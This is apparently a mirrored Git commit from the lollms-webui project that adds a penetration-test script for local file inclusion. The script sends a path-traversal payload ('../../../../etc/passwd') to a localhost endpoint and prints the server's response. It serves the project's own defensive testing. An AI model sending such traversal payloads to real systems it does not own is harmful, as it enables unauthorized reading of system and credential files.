mirror of
https://github.com/ParisNeo/lollms-webui.git
synced 2025-04-09 03:44:19 +00:00
added lfi test
This commit is contained in:
parent
1320331fa8
commit
e85238b31f
@ -1 +1 @@
|
||||
Subproject commit 8c40b159c546c0d9a2e09b1659207b3f78043115
|
||||
Subproject commit 7128493d95a0c3b955ce36662228b74d7a8d8c2b
|
12
tests/pentests/local_file_inclusion/lfi_test.py
Normal file
12
tests/pentests/local_file_inclusion/lfi_test.py
Normal file
@ -0,0 +1,12 @@
|
||||
import requests
|
||||
|
||||
# URL of your API endpoint
|
||||
url = 'http://localhost:9600/user_infos/'
|
||||
|
||||
# Attempt to access etc/passwd
|
||||
payload = {'path': '../../../../etc/passwd'}
|
||||
|
||||
response = requests.get(url, params=payload)
|
||||
|
||||
print(f'Response status: {response.status_code}')
|
||||
print(f'Response body: {response.text}')
|
Loading…
x
Reference in New Issue
Block a user